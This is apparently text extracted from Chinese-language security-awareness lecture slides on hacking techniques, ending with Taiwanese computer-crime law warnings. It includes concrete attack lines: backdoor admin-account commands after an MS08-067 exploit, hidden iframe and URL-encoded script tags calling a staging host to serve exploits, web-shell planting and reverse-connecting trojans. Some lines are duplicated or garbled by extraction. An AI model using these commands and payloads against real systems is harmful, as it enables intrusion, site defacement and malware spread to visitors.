黑站騎士

愛在攻擊發起時

弱點掃描

愛在攻擊發起時

• 弱點掃描工具• �Switch密碼• �置換網頁

入侵環境條件：

� Server端：� 具有「CGI」漏洞的IIS (Web Server)� 具有「XP_cmdshell」的SQL Server� 沒有更改IIS預設路徑或太好猜網頁是屬於「.htm & .html」� 網頁是屬於「.htm & .html」� 網站資料夾權限是「Everyone 完全控制」

� Client：� 具有「MS06-014」 MDAC 漏洞的電腦 或� 具有「MS04-023」chm 漏洞的電腦

手法探討：

� 下載「.htm & .html」網頁� 製造遠端遙控型木馬(原生型木馬)

� 製造「MS06-014、 MS04-023 」漏洞的網頁木馬� 先掃描取得具有CGI漏洞的IIS (Web Server)

� 利用具有XP_cmdshell的SQL Server漏洞上傳網頁� 利用具有XP_cmdshell的SQL Server漏洞上傳網頁� 具有漏洞的使用者瀏覽後植入多重木馬

� 缺點：� Server端及Client端均須利用很多漏洞，不會這麼剛好

恨在床邊不是我

MetasploitFramework

恨在床邊不是我

• MS08-067掃描工具• Metasploit Framework• �啟動遠端桌面

入侵環境條件：

� 具有「MS08-067」的電腦。在受影響的系統上收到蓄意製作的 RPC 要求，則該弱點可能會允許遠端執行程式碼。

� http://www.microsoft.com/taiwan/technet/s� http://www.microsoft.com/taiwan/technet/security/bulletin/ms08-067.mspx

� 常見於具有「本機使用者帳號的電腦」� Windows 平台均有內建終端機服務(遠端桌面)� 操作遠端桌面時被害人不易有感覺。

手法探討：

� 先掃描取得具有漏洞的電腦� 使用MS08-067(MS06-040)漏洞工具� 使用DOS語法加入帳號與群組取得權限

� net user hacker 1234 /add� net localgroup administrators hacker /add

啟動終端機服務(遠端桌面)� 啟動終端機服務(遠端桌面)

� regedit /s 3389.reg� Net start “Terminal Services”

� 使用遠端桌面遙控

� 缺點：� 不能跨越 Router & VLAN� 僅適合於區網及無線網路環境

重點提示：

� 微軟MS08-067漏洞讓Windows面臨著四年來最大安全威脅。

� 首先，該漏洞的影響範圍非常廣泛，幾乎所有的Windows(2000~XP~2003~vista~2008)都面臨被Windows(2000~XP~2003~vista~2008)都面臨被攻擊的威脅；

� 其次，駭客一旦發起攻擊，不但可以遠端控制用戶電腦，展開一系列的竊取行為。

� 更嚴重的是該漏洞可能導致「蠕蟲」攻擊，導致使用者程序崩潰，甚至系統崩潰。

所以明明只是打針

卻”注入”進去

所以明明只是打針

• SQL 隱碼語法• 注入工具• �DB掛馬

入侵環境條件：

� Server端：� 網頁是屬於「.asp & .aspx & .php」� 網頁程式具有「 SQL Injection 」� 網頁應用程式呼叫DB權限太大� DB的資料表沒有鎖定權限� 具有「XP_cmdshell」的SQL Server� 具有「XP_cmdshell」的SQL Server� 沒有更改IIS預設路徑或太好猜� 網站資料夾權限是「Everyone 完全控制」

� Client：� 具有「MS06-014」MDAC 漏洞的電腦 或� 具有「MS07-017」ani 漏洞的電腦

手法探討：

� 搜尋及尋找具有「 SQL Injection 」� 製造遠端遙控型木馬(原生型木馬)

� 製造「MS06-014、 MS07-017 」漏洞的網頁木馬� 利用「 SQL 語法 」新增<iFrame>馬� 利用具有IIS 與 SQL Server漏洞上傳ASP網馬� 利用具有IIS 與 SQL Server漏洞上傳ASP網馬� 利用ASP網馬褂<iFrame>馬

� 缺點：� Server端及Client端均須利用很多漏洞，不會這麼剛好� 修正「 SQL Injection 」之後就沒效了。

然後生出一堆馬

抓包、上傳、掛馬

然後生出一堆馬

• 封包擷取工具• 論壇上傳程式• �ASP網頁木馬

掛馬語法• 掛馬語法• �跳板網站上的木馬

模擬案例：JS與論壇掛馬 入侵過程

� 入侵前準備：� 製作 MS04-023、MS06-014、MS07-004 的 Exploits程式來呼叫木馬。

� 於 JavaScript 中撰寫 document.write(“<iframe src=� 於 JavaScript 中撰寫 document.write(“<iframe src=存放 Exploits 的網址 width=0 height=0></iframe>”);並存檔為 123.js 來呼叫Exploits 。

� 將 123.js 檔案 進行 變型及加密 來避免被防毒軟體查殺。

� 最後將MS04-023、MS06-014、MS07-004 的 Exploits程式及製作好的 123 .js 檔案放置於 192.168.123.101之跳板網站內 Muma 的目錄中備用。

模擬案例：JS與論壇掛馬 入侵過程

� 入侵中過程：� 利用 Sniffer 技巧於Dvbbs 論壇中截獲輸入於該論壇的Cookie 。

� 利用該 Cookie 內儲存之帳號與密碼所取得之權限，搭配論壇上傳程式，將 WebShell (windows.asp)上傳至該台壇上傳程式，將 WebShell (windows.asp)上傳至該台Web Server的論壇目錄中。

� 於 www.xyz.com.tw/dvbbs/windows.asp 中確認WebShell (windows.asp)已經成功傳入。

� 目的是利用 存放於Dvbbs 論壇中的 WebShell 來將XYZ公司的網站掛馬。

模擬案例：JS與論壇掛馬 入侵過程

� 入侵中過程：� 撰寫掛馬語法 <script language=javascript src='http://192.168.123.101/muma/123.js'></script>

� 為避免存放 123.js 的跳板網站URL網址被阻擋，將該網址進行URL編碼 來逃避偵測。 <script language=javascript src='http://%31%39%32%2E%31%36%38%2E%31%URL編碼 來逃避偵測。 <script language=javascript src='http://%31%39%32%2E%31%36%38%2E%31%32%33%2E%31%30%31%2F%6D%75%6D%61/123.js' > </script>

� 利用 WebShell (windows.asp)將語法掛馬後，查看 XYZ公司網頁HTML原始碼是否有被異動。

模擬案例：JS與論壇掛馬 入侵過程

� 入侵後感染：� 當使用者瀏覽 XYZ公司 的網站後，變會觸發HTML內的掛馬語法

�感染流程：

�URL編碼的掛馬語法 �轉換

�跳板網站中的123.js �解析

� JS內變型及加密的Exploits 程式網址 �還原

� Exploits 程式網址內的木馬程式 �植入

WebShell WebShell 流程流程

駭客

[入侵後上傳] Webshell (網頁木馬)

知名的官

方網站

跳版網站

[掛馬] 將首頁或其他網頁植入<iFrme>隱藏框架引導到跳版網

站

不知情的一

般使用者

掛馬的網頁木馬

首頁

(Demo)手法探討：

� 製造相關的木馬並放置在跳板網址主機上。� 製造觸發「 MS04-023、MS06-014、MS07-004 」漏洞的語法。� 尋找具有 SQL Server漏洞或程式瑕疵上傳ASP網馬(Web Shell)。� 利用Web Shell 將所屬網站褂上<iFrame>等之惡意連結。� 利用Web Shell 將所屬網站褂上<iFrame>等之惡意連結。

� 缺點：� Server端及Client端均須利用很多漏洞，如果不是管理者太粗心，不會這麼剛好都中獎。� 修正相關利用到的漏洞之後該手法就沒效了。

只是路過打醬油的

社交工程

只是路過打醬油的

• 利用弱點植入木馬(RAR、Word)

• �影片加工(RM、暴風影音II)• �郵件社交工程(MS06001)

入侵環境條件：

� 具有「RealPlay」 漏洞的電腦 或� 喜歡從P2P抓.rm & .rmvb & .wmv影片的使用者

手法探討：

� 製造遠端遙控型木馬(原生型木馬)� 製造「RealPlay」漏洞的網頁木馬� 利用綑綁器合併� 想辦法送到使用者身上

� 缺點：� 需要有安裝「RealPlay」的電腦� 需要喜歡看.rm & .rmvb & .wmv影片的使用者

入侵環境條件：

� 具有「MS06-001」wmf 漏洞的電腦� 使用Windows XP預設的圖片瀏覽程式「Windows 圖片和傳真檢視器」� 使用IE5 / IE6瀏覽器

手法探討：

� 製造遠端遙控型木馬(原生型木馬)� 製造MS06-001漏洞工具� 利用網頁同時呼叫圖片與wmf檔案� 被害人網頁瀏覽或郵件點選超連結後植入反向連結木馬可穿越防火牆傳出資料� 反向連結木馬可穿越防火牆傳出資料

� 缺點：� 目標換了圖片瀏覽工具就沒效了

入侵環境條件：

� 具有「MS06-001」wmf 漏洞的電腦

� 安裝「WINRAR」壓縮/解壓縮軟體

手法探討：

� 製造「彩虹橋」遠端遙控型木馬 (777.exe)� 製造MS06-001漏洞工具 (777.jpg 777.wmf)� 撰寫呼叫wmf檔案的掛馬網址

� <iframe src=http://192.168.123.101/777/777.htm width=0 height=0></iframe>

� 使用WINRAR製做具有XSS的自動解壓縮檔案� 被害人點選自動解壓縮檔案後植入� 反向連結「彩虹橋」木馬可穿越防火牆傳出資料(例如：port:8080)

� 缺點：� 目標換了WINRAR壓縮/解壓縮工具就沒效了� 修補了MS06-001漏洞就不會被觸發。(但攻擊者可換成其它漏洞)

社交工程攻擊模式

Internet

交通部管理資訊中心 36

1. 駭客設計攻擊陷駭客設計攻擊陷駭客設計攻擊陷駭客設計攻擊陷

阱程式阱程式阱程式阱程式(如如如如特殊特殊特殊特殊Word檔案或檔案或檔案或檔案或外部外部外部外部

惡意連結惡意連結惡意連結惡意連結)2. 將攻擊程式將攻擊程式將攻擊程式將攻擊程式置入置入置入置入

電子郵件中電子郵件中電子郵件中電子郵件中

3. 寄發電子郵件給寄發電子郵件給寄發電子郵件給寄發電子郵件給

特定的目標特定的目標特定的目標特定的目標

4. 受害者受害者受害者受害者開啟開啟開啟開啟電子電子電子電子

郵件郵件郵件郵件

5. 啟動駭客設計的啟動駭客設計的啟動駭客設計的啟動駭客設計的

陷阱陷阱陷阱陷阱，，，，將被將被將被將被植入植入植入植入

後門程式後門程式後門程式後門程式

6. 後門程式後門程式後門程式後門程式逆向連逆向連逆向連逆向連

接接接接，，，，向遠端駭客向遠端駭客向遠端駭客向遠端駭客

報到報到報到報到

預覽視窗開啟預覽視窗開啟 或或 點選郵件開啟點選郵件開啟

攻擊手攻擊手攻擊手攻擊手

社交工程

郵件

Mail Server

<iFrame>

計數用Web

Server

預覽或點選

點選郵件開啟後再點選郵件內點選郵件開啟後再點選郵件內 超連結超連結

攻擊手攻擊手攻擊手攻擊手

社交工程

郵件

Mail Server

http://xxx

計數用Web

Server

點選超連結

點選郵件開啟後再點選郵件內點選郵件開啟後再點選郵件內 附件檔附件檔

攻擊手攻擊手攻擊手攻擊手

社交工程

郵件

Mail Server

計數用Web

Server

點選附件檔

這一切都是

”雲端”害的

何謂雲端運算

� 雲端的基本概念，是透過網路將龐大的運算處理程式自動分拆成無數個較小的子程式，再由多部伺服器所組成的龐大系統搜尋、運算分析之後將處理結果回傳給使用 者。

� 透過這項技術，遠端的服務供應商可以在數秒之內，達成處理數以千萬計甚至億計的資訊，達到和「超級電腦」同樣強大效能的網路服務。

1.攻擊雲端本身。(例：DDoS,攻擊設備,退信攻擊,Web攻擊)

2.攻擊雲端週邊。(例：DNS欺騙,憑證偽冒,

3.攻擊使用者與雲端之間的連線。(例：DDoS,中間人攻擊)

憑證偽冒,中間人攻擊)

4.攻擊雲端使用者。(例：社交工程,竊取帳號/密碼)

雲端攻擊入侵：

1. 攻擊雲端本身。(例：DDoS,攻擊設備,退信攻擊,Web攻擊)

2. 攻擊雲端週邊。(例：DNS欺騙,憑證偽冒,中間人攻擊)

3. 攻擊使用者與雲端之間的連線。(例：DDoS,中間人攻擊)

4. 攻擊雲端使用者。(例：社交工程,竊取帳號/密碼)

5. 建立駭客雲利用合法管道攻擊(例：以合法掩護非法)

GMail Commander

� GMail Commander 是一種檢查信件的軟體，它允許於檢查信件的同時，接受來自於Gmail信箱所發送的各種控制指令，來進行遠端遙控。

� 註：遠端遙控部分需自行於Gmail中撰寫批次檔，� 註：遠端遙控部分需自行於Gmail中撰寫批次檔，或者呼叫系統的捷徑列。

GMail Commander

� 問題點：� 發送純文字檔的信，而目標電腦並沒有把信接收下

去的狀態下去控制及觸發對方電腦起床工作了。

� 參考資料 (原始碼)：� http://www.autohotkey.com/forum/topic67120.html

單機電腦：挖出電腦密碼

� 軟體名稱： Windows Password Recovery Tools 工具組(包含：如下表格)

� 下載網頁：請利用搜尋引擎搜尋

� 軟體說明：原理：從系統的暫存檔、登錄檔、cookies、� 軟體說明：原理：從系統的暫存檔、登錄檔、cookies、應用程式的安裝檔、設定檔內將儲存的密碼檔案”顯示”出來，並非使用暴力破解所計算出來。

� 註：部分防毒軟體可能會認為這類軟體為木馬或惡意程式，如果有疑慮請勿使用 。

� 參考網址： http://briian.com/?p=6910

軟體名稱 主要功能：顯示以下軟體的密碼

MessenPass 顯示MSN /Windows Live Messenger, Yahoo

Messenger, ICQ , AOL , Trillian, Miranda, GAIM

Mail PassView 顯示Windows Live Mail, Outlook Express, Microsoft

Outlook 2000/2002/2003/2007, Eudora, Mozilla Thunderbird, HotMail, Yahoo!, Gmail

IE PassView 顯示 IE 4, IE5, IE6, IE7, IE8 所暫存的密碼

Dialupass Windows 2000, XP, Vista, 2003, 2008, 7的撥號軟體

Network Password Recovery Windows 2000, XP, Vista, 2003, 2008, 7的網芳密碼Network Password Recovery Windows 2000, XP, Vista, 2003, 2008, 7的網芳密碼

SniffPass 側錄 Web/FTP/Email 的密碼

WebBrowserPassView 顯示Internet Explorer (Version 4.0 ~ 8.0), Mozilla Firefox (All Versions), Google Chrome, Opera 密碼

WirelessKeyView 顯示 WEP/WPA 所儲存在電腦的密碼

Remote Desktop PassView 顯示 遠端桌面軟體 所暫存在電腦的密碼

VNCPassView 顯示 VNC遙控軟體 所儲存在Registry(HKEY_CURRENT_USER) 的密碼

結論

�刑法第4條規定：犯罪之行為或結果，有一在中華民國領域內者，為在中華民國領域內犯罪。

�刑法第153條規定：以文字、圖畫或他法，煽惑他人犯罪者，處二年以下徒刑、拘役或一千元以下罰金。

�刑法第339-3條：意圖為自己或第三人不法之所有，以不正方法將虛偽資料或不正指令輸入電腦或其相關設備，製作財產權之得喪、變更紀錄，而取得他人財產，得處以七年以下有期徒刑。

�刑法第358條規定：無故輸入他人帳號密碼、破解使用電腦之保護措施或利用電腦系統之漏洞，而入侵他人之電腦或其相關設備者，處三年以下有期徒刑、拘役或科或併科十萬元以下罰金。

刑法第359條：無故取得、刪除或變更他人電腦或其相關設備之電磁紀錄，致生損害於公眾或

法法法法法法法法 律律律律律律律律 宣宣宣宣宣宣宣宣 導導導導導導導導

�刑法第359條：無故取得、刪除或變更他人電腦或其相關設備之電磁紀錄，致生損害於公眾或他人者，處五年以下有期徒刑、拘役或科或併科二十萬元以下罰金。

�刑法第360條規定：無故以電腦程式或其他電磁方式干擾他人電腦或其相關設備，致生損害於公眾或他人者，處三年以下有期徒刑、拘役或科或併科十萬元以下罰金。

�刑法第362條規定：製作專供犯罪（例如利用病毒程式干擾電腦）之程式，而供自己或他人使用，致生損害於公眾或他人時，處五年以下有期徒刑、或科二十萬元以下罰金。

�電腦處理個人資料保護法第34條：意圖為自己或第三人不法之利益或損害他人之利益，而對於個人資料檔案為非法輸出、干擾、變更、刪除或以其他非法方法妨害個人資料檔案之正確，致生損害於他人者，處三年以下有期徒刑、拘役或科新台幣五萬元以下罰金。

� 講師： 呂守箴� E-Mail：shooujen@gmail.com

� 部落格：� 網路攻防戰：http://anti-hacker.blogspot.com� 網路攻防戰：http://anti-hacker.blogspot.com

� Plurk噗浪： http://www.plurk.com/openblue� FaceBook： http://www.facebook.com/openblue

�粉絲團：http://www.facebook.com/NetWarGame

� 網路直播頻道：http://zh-tw.justin.tv/openblueTV